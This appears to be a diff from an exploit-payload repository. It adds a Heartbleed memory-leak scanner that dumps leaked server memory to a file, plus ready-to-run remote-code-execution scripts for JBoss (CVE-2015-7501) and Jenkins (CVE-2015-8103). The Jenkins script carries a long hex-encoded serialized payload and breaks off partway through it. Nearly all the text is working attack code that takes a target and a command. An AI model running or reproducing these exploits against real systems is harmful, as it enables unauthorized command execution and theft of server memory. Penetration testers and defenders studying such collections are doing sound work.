+ hbv10 = h2bin('''
48
+ 18 03 01 00 03
49
+ 01 40 00
50
+ ''')
51
+
52
+ hbv11 = h2bin('''
53
+ 18 03 02 00 03
54
+ 01 40 00
55
+ ''')
56
+
57
+ hbv12 = h2bin('''
58
+ 18 03 03 00 03
59
+ 01 40 00
60
+ ''')
61
+
62
+ def hexdump(s, dumpf, quiet):
63
+ dump = open(dumpf,'a')
64
+ dump.write(s)
65
+ dump.close()
66
+ if quiet: return
67
+ for b in range(0, len(s), 16):
68
+ lin = [c for c in s[b : b + 16]]
69
+ hxdat = ' '.join('%02X' % ord(c) for c in lin)
70
+ pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
71
+ print(' %04x: %-48s %s' % (b, hxdat, pdat))
72
+ print()
73
+
74
+ def recvall(s, length, timeout=5):
75
+ endtime = time.time() + timeout
76
+ rdata = ''
77
+ remain = length
78
+ while remain > 0:
79
+ rtime = endtime - time.time()
80
+ if rtime < 0:
81
+ if not rdata:
82
+ return None
83
+ else:
84
+ return rdata
85
+ r, w, e = select.select([s], [], [], 5)
86
+ if s in r:
87
+ data = s.recv(remain)
88
+ # EOF?
89
+ if not data:
90
+ return None
91
+ rdata += data
92
+ remain -= len(data)
93
+ return rdata
94
+
95
+ def recvmsg(s):
96
+ hdr = recvall(s, 5)
97
+ if hdr is None:
98
+ print('Unexpected EOF receiving record header - server closed connection')
99
+ return None, None, None
100
+ typ, ver, ln = struct.unpack('>BHH', hdr)
101
+ pay = recvall(s, ln, 10)
102
+ if pay is None:
103
+ print('Unexpected EOF receiving record payload - server closed connection')
104
+ return None, None, None
105
+ print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
106
+ return typ, ver, pay
107
+
108
+ def hit_hb(s, dumpf, host, quiet):
109
+ while True:
110
+ typ, ver, pay = recvmsg(s)
111
+ if typ is None:
112
+ print('No heartbeat response received from '+host+', server likely not vulnerable')
113
+ return False
114
+
115
+ if typ == 24:
116
+ if not quiet: print('Received heartbeat response:')
117
+ hexdump(pay, dumpf, quiet)
118
+ if len(pay) > 3:
119
+ print('WARNING: server '+ host +' returned more data than it should - server is vulnerable!')
120
+ else:
121
+ print('Server '+host+' processed malformed heartbeat, but did not return any extra data.')
122
+ return True
123
+
124
+ if typ == 21:
125
+ if not quiet: print('Received alert:')
126
+ hexdump(pay, dumpf, quiet)
127
+ print('Server '+ host +' returned error, likely not vulnerable')
128
+ return False
129
+
130
+ def connect(host, port, quiet):
131
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
132
+ if not quiet: print('Connecting...')
133
+ sys.stdout.flush()
134
+ s.connect((host, port))
135
+ return s
136
+
137
+ def tls(s, quiet):
138
+ if not quiet: print('Sending Client Hello...')
139
+ sys.stdout.flush()
140
+ s.send(hello)
141
+ if not quiet: print('Waiting for Server Hello...')
142
+ sys.stdout.flush()
143
+
144
+ def parseresp(s):
145
+ while True:
146
+ typ, ver, pay = recvmsg(s)
147
+ if typ == None:
148
+ print('Server closed connection without sending Server Hello.')
149
+ return 0
150
+ # Look for server hello done message.
151
+ if typ == 22 and ord(pay[0]) == 0x0E:
152
+ return ver
153
+
154
+ def check(host, port, dumpf, quiet, starttls):
155
+ response = False
156
+ if starttls:
157
+ try:
158
+ s = smtplib.SMTP(host=host,port=port)
159
+ s.ehlo()
160
+ s.starttls()
161
+ except smtplib.SMTPException:
162
+ print('STARTTLS not supported...')
163
+ s.quit()
164
+ return False
165
+ print('STARTTLS supported...')
166
+ s.quit()
167
+ s = connect(host, port, quiet)
168
+ s.settimeout(1)
169
+ try:
170
+ re = s.recv(1024)
171
+ s.send('ehlo starttlstest\r\n')
172
+ re = s.recv(1024)
173
+ s.send('starttls\r\n')
174
+ re = s.recv(1024)
175
+ except socket.timeout:
176
+ print('Timeout issues, going ahead anyway, but it is probably broken ...')
177
+ tls(s,quiet)
178
+ else:
179
+ s = connect(host, port, quiet)
180
+ tls(s,quiet)
181
+
182
+ version = parseresp(s)
183
+
184
+ if version == 0:
185
+ if not quiet: print("Got an error while parsing the response, bailing ...")
186
+ return False
187
+ else:
188
+ version = version - 0x0300
189
+ if not quiet: print("Server TLS version was 1.%d\n" % version)
190
+
191
+ if not quiet: print('Sending heartbeat request...')
192
+ sys.stdout.flush()
193
+ if (version == 1):
194
+ s.send(hbv10)
195
+ response = hit_hb(s,dumpf, host, quiet)
196
+ if (version == 2):
197
+ s.send(hbv11)
198
+ response = hit_hb(s,dumpf, host, quiet)
199
+ if (version == 3):
200
+ s.send(hbv12)
201
+ response = hit_hb(s,dumpf, host, quiet)
202
+ s.close()
203
+ return response
204
+
205
+ def main():
206
+ opts, args = options.parse_args()
207
+ if len(args) < 1:
208
+ options.print_help()
209
+ return
210
+
211
+ print('Scanning ' + args[0] + ' on port ' + str(opts.port))
212
+ for i in range(0,opts.num):
213
+ check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)
214
+
215
+ if __name__ == '__main__':
216
+ main()
payloads/CVE Exploits/JBoss CVE-2015-7501.py ADDED
@@ -0,0 +1,62 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #! /usr/bin/env python2
2
+
3
+ # Jboss Java Deserialization RCE (CVE-2015-7501)
4
+ # Made with <3 by @byt3bl33d3r
5
+
6
+ from __future__ import print_function
7
+ import requests
8
+ from requests.packages.urllib3.exceptions import InsecureRequestWarning
9
+ requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
10
+
11
+ import argparse
12
+ import sys, os
13
+ #from binascii import hexlify, unhexlify
14
+ from subprocess import check_output
15
+
16
+ ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
17
+ ysoserial_path = None
18
+
19
+ parser = argparse.ArgumentParser()
20
+ parser.add_argument('target', type=str, help='Target IP')
21
+ parser.add_argument('command', type=str, help='Command to run on target')
22
+ parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
23
+ parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')
24
+
25
+ if len(sys.argv) < 2:
26
+ parser.print_help()
27
+ sys.exit(1)
28
+
29
+ args = parser.parse_args()
30
+
31
+ if not args.ysoserial_path:
32
+ for path in ysoserial_default_paths:
33
+ if os.path.exists(path):
34
+ ysoserial_path = path
35
+ else:
36
+ if os.path.exists(args.ysoserial_path):
37
+ ysoserial_path = args.ysoserial_path
38
+
39
+ if ysoserial_path is None:
40
+ print('[-] Could not find ysoserial JAR file')
41
+ sys.exit(1)
42
+
43
+ if len(args.target.split(":")) != 2:
44
+ print('[-] Target must be in format IP:PORT')
45
+ sys.exit(1)
46
+
47
+ if not args.command:
48
+ print('[-] You must specify a command to run')
49
+ sys.exit(1)
50
+
51
+ ip, port = args.target.split(':')
52
+
53
+ print('[*] Target IP: {}'.format(ip))
54
+ print('[*] Target PORT: {}'.format(port))
55
+
56
+ gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
57
+
58
+ r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget)
59
+
60
+ if r.status_code == 200:
61
+ print('[+] Command executed successfully')
62
+
payloads/CVE Exploits/Jenkins CVE-2015-8103.py ADDED
@@ -0,0 +1,88 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #! /usr/bin/env python2
2
+
3
+ #Jenkins CLI RMI Java Deserialization RCE (CVE-2015-8103)
4
+ #Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits)
5
+ #Made with <3 by @byt3bl33d3r
6
+
7
+ from __future__ import print_function
8
+ import requests
9
+ from requests.packages.urllib3.exceptions import InsecureRequestWarning
10
+ requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
11
+
12
+ import socket
13
+ import sys
14
+ import base64
15
+ import argparse
16
+ import os
17
+ from subprocess import check_output
18
+
19
+ ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
20
+ ysoserial_path = None
21
+
22
+ parser = argparse.ArgumentParser()
23
+ parser.add_argument('target', type=str, help='Target IP:PORT')
24
+ parser.add_argument('command', type=str, help='Command to run on target')
25
+ parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
26
+ parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')
27
+
28
+ if len(sys.argv) < 2:
29
+ parser.print_help()
30
+ sys.exit(1)
31
+
32
+ args = parser.parse_args()
33
+
34
+ if not args.ysoserial_path:
35
+ for path in ysoserial_default_paths:
36
+ if os.path.exists(path):
37
+ ysoserial_path = path
38
+ else:
39
+ if os.path.exists(args.ysoserial_path):
40
+ ysoserial_path = args.ysoserial_path
41
+
42
+ if ysoserial_path is None:
43
+ print("[-] Could not find ysoserial JAR file")
44
+ sys.exit(1)
45
+
46
+ if len(args.target.split(':')) != 2:
47
+ print('[-] Target must be in format IP:PORT')
48
+ sys.exit(1)
49
+
50
+ if not args.command:
51
+ print('[-] You must specify a command to run')
52
+ sys.exit(1)
53
+
54
+ host, port = args.target.split(':')
55
+
56
+ print('[*] Target IP: {}'.format(host))
57
+ print('[*] Target PORT: {}'.format(port))
58
+ print('\n')
59
+
60
+ print('[*] Retrieving the Jenkins CLI port')
61
+ #Query Jenkins over HTTP to find what port the CLI listener is on
62
+ r = requests.get('{}://{}:{}'.format(args.proto, host, port))
63
+ cli_port = int(r.headers['X-Jenkins-CLI-Port'])
64
+
65
+ #Open a socket to the CLI port
66
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
67
+ server_address = (host, cli_port)
68
+ print('[*] Connecting to Jenkins CLI on {}:{}'.format(host, cli_port))
69
+ sock.connect(server_address)
70
+
71
+ # Send headers
72
+ headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'
73
+ print('[*] Sending headers')
74
+ sock.send(headers)
75
+
76
+ data = sock.recv(1024)
77
+ print('[*] Received "{}"'.format(data))
78
+
79
+ if data.find('JENKINS REMOTING CAPACITY') == -1:
80
+ data = sock.recv(1024)
81
+ print('[*] Received "{}"'.format(data))
82
+
83
+ payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections3', args.command])
84
+ payload_b64 = base64.b64encode(payloadObj)
85
+ payload='\x3c\x3d\x3d\x3d\x5b\x4a\x45\x4e\x4b\x49\x4e\x53\x20\x52\x45\x4d\x4f\x54\x49\x4e\x47\x20\x43\x41\x50\x41\x43\x49\x54\x59\x5d\x3d\x3d\x3d\x3e'+payload_b64+'\x00\x00\x00\x00\x11\x2d\xac\xed\x00\x05\x73\x72\x00\x1b\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x55\x73\x65\x72\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x4c\x00\x10\x63\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x50\x72\x6f\x78\x79\x74\x00\x30\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x24\x49\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x3b\x5b\x00\x07\x72\x65\x71\x75\x65\x73\x74\x74\x00\x02\x5b\x42\x4c\x00\x08\x74\x6f\x53\x74\x72\x69\x6e\x67\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x49\x00\x02\x69\x64\x49\x00\x08\x6c\x61\x73\x74\x49\x6f\x49\x64\x4c\x00\x08\x72\x65\x73\x70\x6f\x6e\x73\x65\x74\x00\x1a\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x52\x65\x73\x70\x6f\x6e\x73\x65\x3b\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x09\x63\x72\x65\x61\x74\x65\x64\x41\x74\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3b\x78\x70\x73\x72\x00\x1e\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x24\x53\x6f\x75\x72\x63\x65\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x06\x74\x68\x69\x73\x24\x30\x74\x00\x19\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x43\x6f\x6d\x6d\x61\x6e\x64\x3b\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02\x00\x00\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65\x73\x73\x61\x67\x65\x71\x00\x7e\x00\x03\x5b\x00\x0a\x73\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73\x74\x3b\x78\x70\x71\x00\x7e\x00\x10\x70\x75\x72\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x78\x70\x00\x00\x00\x0c\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x03\x4c\x00\x08\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x03\x4c\x00\x0a\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x03\x78\x70\x00\x00\x00\x43\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x74\x00\x0c\x43\x6f\x6d\x6d\x61\x6e\x64\x2e\x6a\x61\x76\x61\x74\x00\x06\x3c\x69\x6e\x69\x74\x3e\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x32\x71\x00\x7e\x00\x15\x71\x00\x7e\x00\x16\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x63\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x74\x00\x0c\x52\x65\x71\x75\x65\x73\x74\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x3c\x74\x00\x1b\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x55\x73\x65\x72\x52\x65\x71\x75\x65\x73\x74\x74\x00\x10\x55\x73\x65\x72\x52\x65\x71\x75\x65\x73\x74\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x03\x08\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x68\x61\x6e\x6e\x65\x6c\x74\x00\x0c\x43\x68\x61\x6e\x6e\x65\x6c\x2e\x6a\x61\x76\x61\x74\x00\x04\x63\x61\x6c\x6c\x73\x71\x00\x7e\x00\x13\x00\x00\x00\xfa\x74\x00\x27\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x74\x00\x1c\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x2e\x6a\x61\x76\x61\x74\x00\x06\x69\x6e\x76\x6f\x6b\x65\x73\x71\x00\x7e\x00\x13\xff\xff\xff\xff\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x24\x50\x72\x6f\x78\x79\x31\x70\x74\x00\x0f\x77\x61\x69\x74\x46\x6f\x72\x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x04\xe7\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x74\x00\x15\x77\x61\x69\x74\x46\x6f\x72\x52\x65\x6d\x6f\x74\x65\x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x93\x74\x00\x0e\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x74\x00\x08\x43\x4c\x49\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x48\x74\x00\x1f\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x74\x00\x19\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x2e\x6a\x61\x76\x61\x74\x00\x07\x63\x6f\x6e\x6e\x65\x63\x74\x73\x71\x00\x7e\x00\x13\x00\x00\x01\xdf\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x74\x00\x05\x5f\x6d\x61\x69\x6e\x73\x71\x00\x7e\x00\x13\x00\x00\x01\x86\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x74\x00\x04\x6d\x61\x69\x6e\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69\x73\x74\x71\x00\x7e\x00\x0f\x78\x72\x00\x2c\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x78\x70\x00\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x3c\x78\x71\x00\x7e\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x70\x73\x7d\x00\x00\x00\x02\x00\x2e\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x24\x49\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x00\x1c\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x49\x52\x65\x61\x64\x52\x65\x73\x6f\x6c\x76\x65\x78\x72\x00\x17\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x78\x70\x73\x72\x00\x27\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x05\x5a\x00\x14\x61\x75\x74\x6f\x55\x6e\x65\x78\x70\x6f\x72\x74\x42\x79\x43\x61\x6c\x6c\x65\x72\x5a\x00\x09\x67\x6f\x69\x6e\x67\x48\x6f\x6d\x65\x49\x00\x03\x6f\x69\x64\x5a\x00\x09\x75\x73\x65\x72\x50\x72\x6f\x78\x79\x4c\x00\x06\x6f\x72\x69\x67\x69\x6e\x71\x00\x7e\x00\x0d\x78\x70\x00\x00\x00\x00\x00\x02\x00\x73\x71\x00\x7e\x00\x0b\x71\x00\x7e\x00\x43\x74\x00\x78\x50\x72\x6f\x78\x79\x20\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x40\x32\x20\x77\x61\x73\x20\x63\x72\x65\x61\x74\x65\x64\x20\x66\x6f\x72\x20\x69\x6e\x74\x65\x72\x66\x61\x63\x65\x20\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x24\x49\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x75\x71\x00\x7e\x00\x11\x00\x00\x00\x0d\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x7d\x71\x00\x7e\x00\x24\x71\x00\x7e\x00\x25\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x89\x71\x00\x7e\x00\x24\x71\x00\x7e\x00\x25\x74\x00\x04\x77\x72\x61\x70\x73\x71\x00\x7e\x00\x13\x00\x00\x02\x6a\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x74\x00\x06\x65\x78\x70\x6f\x72\x74\x73\x71\x00\x7e\x00\x13\x00\x00\x02\xa6\x74\x00\x21\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x74\x00\x16\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x4a\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x46\x71\x00\x7e\x00\x1d\x71\x00\x7e\x00\x1e\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x03\x08\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x71\x00\x7e\x00\x22\x73\x71\x00\x7e\x00\x13\x00\x00\x00\xfa\x71\x00\x7e\x00\x24\x71\x00\x7e\x00\x25\x71\x00\x7e\x00\x26\x73\x71\x00\x7e\x00\x13\xff\xff\xff\xff\x71\x00\x7e\x00\x28\x70\x71\x00\x7e\x00\x29\x73\x71\x00\x7e\x00\x13\x00\x00\x04\xe7\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x71\x00\x7e\x00\x2b\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x93\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x48\x71\x00\x7e\x00\x30\x71\x00\x7e\x00\x31\x71\x00\x7e\x00\x32\x73\x71\x00\x7e\x00\x13\x00\x00\x01\xdf\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x71\x00\x7e\x00\x34\x73\x71\x00\x7e\x00\x13\x00\x00\x01\x86\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x71\x00\x7e\x00\x36\x71\x00\x7e\x00\x3a\x78\x78\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x78\x70\x00\x00\x07\x46\xac\xed\x00\x05\x73\x72\x00\x32\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x24\x52\x50\x43\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x04\x49\x00\x03\x6f\x69\x64\x5b\x00\x09\x61\x72\x67\x75\x6d\x65\x6e\x74\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c\x00\x0a\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x05\x74\x79\x70\x65\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x77\x08\xff\xff\xff\xfe\x00\x00\x00\x02\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x49\x00\x02\x69\x64\x49\x00\x08\x6c\x61\x73\x74\x49\x6f\x49\x64\x4c\x00\x08\x72\x65\x73\x70\x6f\x6e\x73\x65\x74\x00\x1a\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x52\x65\x73\x70\x6f\x6e\x73\x65\x3b\x77\x04\x00\x00\x00\x00\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x09\x63\x72\x65\x61\x74\x65\x64\x41\x74\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\